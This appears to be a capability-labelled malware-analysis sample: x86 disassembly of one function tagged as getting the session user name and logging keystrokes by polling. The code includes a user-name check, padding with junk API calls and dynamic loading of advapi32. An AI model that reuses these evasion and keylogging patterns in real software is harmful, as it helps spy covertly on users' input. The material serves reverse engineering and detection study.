Function at 0x41a180
Capabilities:
Get session user name
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 4], 0x64
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x70]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movsx edx, byte [ebp - 0x70]
cmp edx, 0x4a
jne 0x41a1c0
movsx eax, byte [ebp - 0x6e]
cmp eax, 0x68
jne 0x41a1c0
movsx ecx, byte [ebp - 0x6c]
cmp ecx, 0x44
jne 0x41a1c0
xor eax, eax
jmp 0x41a43c
mov dword [ebp - 0x94], 1
mov dword [ebp - 0xa0], 1
mov dword [ebp - 0xb8], 1
mov dword [ebp - 0x80], 1
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x9c], 1
mov dword [ebp - 0xb4], 1
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x8c], 1
mov dword [ebp - 0xa4], 1
mov dword [ebp - 0x88], 1
mov dword [ebp - 0xb0], 1
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x78], 1
mov dword [ebp - 0x84], 1
mov dword [ebp - 0xac], 1
mov dword [ebp - 0xa8], 1
mov dword [ebp - 0x98], 1
mov edx, dword [ebp - 0x90]
push edx
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push 0x4ddb94
call dword [sym.imp.GDI32.dll_CreateMetaFileA]
push str.tuCdloeDix
call dword [sym.imp.USER32.dll_CharNextA]
mov eax, dword [ebp - 0xa4]
push eax
call dword [sym.imp.GDI32.dll_StrokePath]
movzx ecx, word [ebp - 0xa4]
push ecx
call dword [sym.imp.USER32.dll_IsCharAlphaW]
mov edx, dword [ebp - 0x8c]
push edx
call dword [sym.imp.GDI32.dll_EndDoc]
call dword [sym.imp.USER32.dll_InSendMessage]
call dword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
mov eax, dword [ebp - 0xb0]
push eax
call dword [sym.imp.USER32.dll_GetParent]
push 0x4ddba4
call dword [sym.imp.GDI32.dll_CreateMetaFileW]
mov ecx, dword [ebp - 0x88]
push ecx
call dword [sym.imp.USER32.dll_GetWindowContextHelpId]
movzx edx, byte [ebp - 0x7c]
push edx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov eax, dword [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_DestroyCursor]
movzx ecx, word [ebp - 0xb8]
push ecx
call dword [sym.imp.USER32.dll_VkKeyScanW]
mov edx, dword [ebp - 0xa4]
push edx
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.GDI32.dll_GetDCPenColor]
movzx ecx, byte [ebp - 0x88]
push ecx
call dword [sym.imp.USER32.dll_IsCharUpperA]
mov edx, dword [ebp - 0x7c]
push edx
call dword [sym.imp.GDI32.dll_StrokePath]
mov eax, dword [ebp - 0x88]
push eax
call dword [sym.imp.GDI32.dll_AbortPath]
mov ecx, dword [ebp - 0x98]
push ecx
call dword [sym.imp.USER32.dll_CloseWindowStation]
call dword [sym.imp.USER32.dll_GetMessagePos]
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.GDI32.dll_CloseMetaFile]
mov eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.GDI32.dll_GetStretchBltMode]
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [sym.imp.GDI32.dll_GetLayout]
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.USER32.dll_GetWindowDC]
mov eax, dword [ebp - 0xb4]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0x4ddba8
call dword [sym.imp.USER32.dll_CharNextW]
mov ecx, dword [ebp - 0x90]
push ecx
call dword [sym.imp.GDI32.dll_UpdateColors]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.USER32.dll_CopyIcon]
mov edx, dword [ebp + 8]
mov dword [0x4ddb40], edx
mov dword [0x4ddb28], ebp
call fcn.004196a0
push 0x4ddbc0
push str.advapi32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4e15b0], eax
call fcn.00419d10
mov dword [0x4ddb44], eax
push 0x15
call fcn.0041a130
add esp, 4
mov dword [0x4ddb14], eax
push 0x7e45
call fcn.00419eb0
add esp, 4
mov dword [0x4ddb34], 0
mov eax, dword [0x4ddb34]
mov dword [0x4ddb38], eax
mov dword [0x4ddb30], 0x4e7
call fcn.0041a040
call fcn.00419bb0
jmp fcn.00419ce0
mov esp, ebp
pop ebp
ret